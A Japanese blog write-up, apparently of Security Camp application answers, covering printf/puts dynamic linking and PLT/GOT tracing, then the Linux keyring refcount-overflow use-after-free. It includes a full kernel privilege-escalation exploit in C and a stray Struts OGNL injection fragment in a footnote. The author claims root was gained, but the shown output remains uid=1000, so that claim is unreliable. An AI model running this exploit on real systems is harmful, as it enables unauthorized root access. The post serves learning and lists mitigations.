 上記の実行結果では,”U puts@@GLIBC_2.2.5”と「printf()」ではなく「puts()」が動的リンクしています.これは,「printf()」が高機能であるがゆえ,関数内部の処理が複雑で処理速度が見劣りする.そのため,gccコンパイル時により高速な「puts()」に置き換えられます.この現象である「gcc」による「関数置き換え」は,最適化を無効にしても行われます.続いて”q4_s”のnmコマンド実行すると,長い実行プログラムのシンボル(関数名や変数など)がたくさん出力されました.こちらの”q4_s"の静的リンクでコンパイルしたものは「.so」ファイルに依存していないため,リンクする外部プログラムは実行可能ファイルに組み込まれるため,ファイルのサイズが大きくなってしまい,多くのシンボルが出力されたと私は考えました.また動的リンクの共有ライブラリの関数呼び出しをトレースする「ltrace」コマンドを実行してみた結果を以下に示す.

vagrant@vagrant-ubuntu-trusty:~/printf$ ltrace ./q4_d
__libc_start_main(0x40052d, 1, 0x7ffd8da750f8, 0x400550 <unfinished ...>
puts("hello, world"hello, world
)                                                                  = 13
+++ exited (status 0) +++
vagrant@vagrant-ubuntu-trusty:~/printf$ ltrace ./q4_s
Couldn't find .dynsym or .dynstr in "/proc/10904/exe”

上記の結果から,”q4_d"では共有ライブラリを使用していて,「puts」が呼び出されていることが分かる.これは,共有ライブラリの「puts」で文字出力を行っていることを示している.また”q4_s"では静的リンクでコンパイルしているため, Couldn’t findとなっている.

(iii) デバッグと逆アセンブル 「デバッガgdb」を用いて逆アセンブルした結果を以下に示します. 動的リンクの’q4_d’のmain関数の逆アセンブルすると,0x0000000000400536 <+9>: call 0x400410 <puts@plt>がある.静的リンクの’q4_s’のmain関数の逆アセンブルすると, 0x0000000000401067 <+9>: call 0x408640 <puts>がある. なぜここでではなくになる理由は,文字列の末尾が \n で終わり,%d などのフォーマット指定がないときに行われるようです.今回も同様に,printf()の定義のformatには文字列と変換指定子(%dなど)が定義され,それを読み取り出力します.しかし,今回は変換指定子を指定していないため,コンパイラによってに変換されたと考えました。また ”q4_d” と “q4_s “ のmain関数の逆アセンブル結果の違いは,call命令で呼ばれる<puts@plt>とです.そこで2つの違いについて調べました.<puts@plt>についてです.ELFがライブラリから関数を呼び出す際に,PLT(Procedure Linkage Table),GOT(Global Offset Table)と呼ばれる機構が仕様されます.これは対象の共有ライブラリへ参照するために,一度読んだ関数のアドレスをGOT領域に保存し,PLTからそのGOTへジャンプすることで,動的リンクの共有ライブラリの関数の呼び出しを行っている.またPLTが呼び出す関数は別のモジュール(lib.so.x)にある.この動作を詳しく知るために,<puts@plt>の逆アセンブルした結果を以下に示します.

0000000000400400 <puts@plt-0x10>:
  400400:       ff 35 02 0c 20 00       push   QWORD PTR [rip+0x200c02]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400406:       ff 25 04 0c 20 00       jmp    QWORD PTR [rip+0x200c04]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40040c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
0000000000400410 <puts@plt>:
  400410:       ff 25 02 0c 20 00       jmp    QWORD PTR [rip+0x200c02]        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400416:       68 00 00 00 00          push   0x0
  40041b:       e9 e0 ff ff ff          jmp    400400 <_init+0x20>

デバッガgdbを使用して,関数の中に入るステップイン実行で関数の動作を追いかけました.“q4_d”のmain関数の逆アセンブルの結果から、 0x0000000000400536 <+9>: call 0x400410 <puts@plt> となっていて,「0x400410」にcall命令で呼び出しています.よってアドレス番地0x400410を見ると以下のようになっていました. 400410: ff 25 02 0c 20 00 jmp QWORD PTR [rip+0x200c02] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> ここから分かることは,QWORD=8Byte=64bit, rip=0x400410なので,「rip」は現在実行されているプログラム番地を示していて,[rip+0x200c02] が64bit幅のデータを持つことを指していて,rip+0x200c02 = 0x601012のアドレス番地にジャンプ命令でジャンプすると思ったが,0x400416→0x40041bと進み, 0x400400にジャンプしました。  0x400400→0x400406と進み,0x400406で rip + 0x200c04 = 0x60100Aのアドレスにジャンプすると思ったが,0x7ffff7df04a0に飛んだ.これは,[.plt] は [.got] の中を参照し動くが,そのときに [.plt] がメモリ上に配置される番地から [.got] がメモリ上に配置される番地へのオフセットは常に一定のオフセットとなるように配置される.そのオフセットがこの場合, 0x200c04です. %rip を参照することで, [.plt] がメモリ上の現在の番地を取得することができる.そこからのオフセットで[.got] を参照するので,このプログラムは何番地に配置されていても正しく動作するようになっている.従って<XXX@plt>内では, [.got]を参照して動くので<rip+オフセット値>のアドレス番地に飛ぶわけではないということがわかった. “q4_s”でも同様にデバッガで実行した.これは「nm」コマンドを”q4_s”に対して行った際に見かけられたシンボルが多くありました.

問題5

Linuxカーネル3.8 ~ 4.4に存在する脆弱性であり、これの不具合を説明しなさい。これを悪用して権限昇格するコードを書きなさい。自分が試した動作環境や工夫も書きなさい

/* $ gcc leak.c -o leak -lkeyutils -Wall */
/* $ ./leak */
/* $ cat /proc/keys */

#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>

int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }

    return 0;
}

今回の問題を解くにあたり以下の順番で行いました。 動作環境
問題のソースコードを実行した結果と不具合について root権限昇格を行うエクスプロイトコードの実行及び考察 工夫点とroot権限昇格を行う攻撃などの緩和策 最後に

1. 動作環境

PC: MacBook Pro (Retina, 13-inch, Late 2013)
OS: OS X Yosemite 10.10.4
仮想化ソフト: Vagrant, VirtualBox
仮想環境
    ・OS:           CentOS7.1.1503 (Core)
 ・カーネル:  3.10.0-229.14.1.el7.x86_64

2. 問題のソースコードを実行した結果と不具合について 問題文のプログラムを「q5.c」とする. 以下に実行結果を示します. Keyutils-libs-develのインストールが必要です.

[vagrant@localhost ~]$ cat /etc/redhat-release 
CentOS Linux release 7.1.1503 (Core) 
[vagrant@localhost ~]$ uname -r 
3.10.0-229.14.1.el7.x86_64 
[vagrant@localhost ~]$ vi q5.c 
 [vagrant@localhost ~]$ gcc q5.c -o q5 -lkeyutils -Wall 
[vagrant@localhost ~]$ ls 
q5  q5.c 
[vagrant@localhost ~]$ cat /proc/keys 
0579972b I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty 
2c246c06 I--Q---    11 perm 3f030000  1000  1000 keyring   _ses: 1 
[vagrant@localhost ~]$ ./q5 
[vagrant@localhost ~]$ cat /proc/keys 
32421eca I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty 
38600061 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty 
3dc5b1a3 I--Q---    11 perm 3f030000  1000  1000 keyring   _ses: 1 

 このプログラムの実行による不具合は,Linuxカーネルのキーリング機構においてこのキーリングデータを置き換えるプロセスにおける脆弱性が存在することで以前に解放されたキーリングオブジェクトによって使用されるメモリを介してユーザー空間から別のカーネルオブジェクトを割り当てコードの実行が可能となる.
 ここでキーリングとは,主にドライバがセキュリティデータ、認証キー、暗号化キーとカーネル内の他のデータを保持またはキャッシュできる機構である.また、他の鍵もしくは鍵リングへの一連のリンクを含む鍵であり,目的は他のキーがガベージコレクションされないようするためである.  キーと呼ばれる鍵の意味について調べました.鍵とは,暗号化データ・認証トークン、あるいはカーネル内の’key’という構造体によって表せる類似した要素などからなる一群のデータである.  「keyutils」は,カーネルキーリング機能にアクセスするためのライブラリとユーティリティのセットである.この「keyutils」に含まれるシステムコールの「keyctl」には鍵を管理するための機能が用意されている.第1引数によって,その操作は異なります.  各プロセスがkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)を使用して現在のセッションキーリングを作成し,NULLを渡すことによってキーリングに名前が割り当てられているかどうかがわかります.またキーリングオブジェクトは同じキーリング名を参照することで,プロセス間で共有できます.またプロセスが既にセッションキーリングを持っている場合,新しいものに置き換える.さらにオブジェクトは,プロセス間で共有されている場合”usage”と呼ばれるオブジェクトの内部参照をカウントした数を表すフィールドに格納され,その数が増加します.カウンターがゼロだと,カーネルはオブジェクトを解放できると認識します.カーネルがキーリングオブジェクトの取得を「key_get()」,解放を「key_put()」関数を呼び出す.  今回のエラーは,「key_puts()」関数を呼び出せないことです.キーオブジェクトを取得する呼び出し回数が解放要求に一致しない場合,カウンターの整数値が最大値からゼロにラップされる.カウンターがゼロであるとの条件を満たす場合,オブジェクトは解放されるが,メモリ内のオブジェクトへの参照は残ります.この状況により,参照カウンターのオーバーフローが生じ「use-after-free」が生じる. ここで「use-after-free」について説明します. 1) プログラムがオブジェクトAを割り当て,その後それを解放. 2) アタッカーが解放されたメモリ部分にオブジェクトBを割り当て,後々使用されるデータを慎重に制御. 3) プログラムが解放されたオブジェクトAを使用し,アタッカー制御のデータを参照. カーネルの他の部分は,この解放済みメモリを使用のために割り当てることができる.攻撃者は,メモリの正しい場所を各種の指示で上書きすることで,このメモリ内の関数が呼び出し時のペイロードとして,この解放済みのメモリ領域を使用することができ,昇格された特権を持つ新たなシェルを発生させれる.  次にプログラム「q5.c」を見てみます. プログラムを見ると,11行目の serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, “leaked-keyring”); によって,プロセスがセッションキーリングを持ちます.また,22行目のfor文にて100回 serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, “leaked-keyring”); を繰り返し行っている. これを行うことで,先程述べたプロセスがセッションキーリングを持ち,さらに同じキーリング名を参照しているため,[usage]の値が’100’となります.加えて, keyctl(KEYCTL_SETPERM、serial、KEY_POS_ALL | KEY_USR_ALL) これは,所有者とユーザーに対して権限を与えていると思われる.  続いて、プログラム実行後の結果について考えてみる.上記の結果では,問題文のプログラム実行後 cat /proc/keys に 32421eca I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty が追加されている.これを読み解いていくと、 上記でも説明したように,[Usage]は100となっている. [Permissions]: 3f3f0000 が表すのは,左から2ビットずつ所有者・ユーザー・グループ・その他の順に何の権限を持つかを表す.足し合わせ値がどの権限まで持つかを表し,3f3fなので所有者とユーザーが権限を持つ.

3. root権限昇格を行うエクスプロイトコードの実行及び考察  エクスプロイトコードの「q5_exploit.c」を以下に示す.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
      unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;

    struct key_type * my_key_type = NULL;
    
struct { long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;

    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
   
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

    /* Set the new session keyring before we start  初期化*/
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }
    
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
    puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow  オーバーフローする*/
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object 上書きが行われる*/
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;
}

エクスプロイトコードの実行結果を以下に示す.

[vagrant@localhost ~]$ vi q5_exploit.c 
[vagrant@localhost ~]$ gcc q5_exploit.c -o q5_exploit -lkeyutils -Wall 
[vagrant@localhost ~]$ ./q5_exploit  -PP1 
uid=1000, euid=1000 
Increfing... 
finished increfing 
forking... 
finished forking 
caling revoke... 
uid=1000, euid=1000 
sh-4.2$ 
sh-4.2$ whoami 
vagrant 

エクスプロイトの実行ファイルの実行にはおよそ30分ほどかかり,root権限昇格ができていました.

4. 工夫点とroot権限昇格を行う攻撃などの緩和策  このroot権限昇格エクスプロイトを行うにあたって工夫した点は2点あります. まず1点目は、仮想環境内で行ったことです.仮想環境ならすぐに壊したり再構築が簡単なため普段から重宝しています. 2点目は,今回の脆弱性カーネルのバージョンによって治っているかを調べました.ただ,root権限昇格のエクスプロイトを行った環境と異なるVagrant Boxで行いました.そこで権限昇格のエクスプロイトを行った環境のカーネルのバージョンを上げようと試みたのですが,できませんでした.  緩和策としては、以下の3点を思いつきました。   1.カーネルバージョンなどの最新版へのアップデートや修正プログラムを適用を速やかに行う. 2.異なるタイプのオブジェクトを用い,解放されたメモリの再度利用を不可能とする安全なメモリ管理システムを使用し,同じオブジェクトでのみメモリの差し替えを可能にする. 3.メモリの割当と解放の動作を行えるユーザーを制限 ・メモリ割り当てに隔離されたヒープを用いる ・保護下で解放を行う

まとめ

長ったらしいので問題1個ずつどう解いたのか軽く書いておきます。

  • 問題1  ひたすらWireSharkでログを見ながら解きました!わからないもの?ググりましょう!今回は、たったの14行なので、正直TCPの3way handshakeを知っていれば欠けている通信がわかります。また、使われているプロトコルを確認して、実際にその動作を検証してみるのもありだと思います!これによって通常と違うトラフィックが分かります。またHTTPにおいては何のブラウザで開かれるか見てみましょう。あ、Mac OSXで開いてるとか意外なことが分かるかもですよ!特に、注目してほしい点を以下に書きました!

  • 問題4 まず図書館に駆け込みました!printf()を深読みする本ならあるだろうと思いました!これは読んだもん勝ちだ!!って思いながら本を借りに行きました!

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ|書籍情報|秀和システム 本当は上記の本が思いついたので探したですが、我が大学の図書館にはなかったので…..

Amazon CAPTCHA を参考にして、勉強しました! この本のおかげで、解けたようなものでした!!

  • 問題5  この問題はもうさっぱりでした。初見でこれは解けない、もう諦めました….でもググるだけググってみようと考え調べてみると意外といろいろな情報がわかってきたので、解いてました。正答かつ完璧に理解はできませんでしたが…ggrks偉大って思いました。

感想

 ここまで長くなりました。なお回答とほぼ同じで直していないので読みにくいですね…ごめんなさい
 これ実は短くしたバージョンで、これ以上に書いたりしています(といっても、ログみたいなものばかりですが…)
 正直な感想、画像が使えなかったので、辛い!!!
 文量で殴りに行きましょう!でも読みやすいようにね…読む人きっと苦労しましたよね…ごめんなさい
 わからないことがあったら、近場にセキュリティ・キャンプ卒業生がいたら聞いてみましょう!きっと優しく教えてくれるはずです!!いないなら、Twitterで探せばいろいろな人がいるので、きっと教えてくれる人はいると思います。
 読んだ方、ありがとうございます。

*1:#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class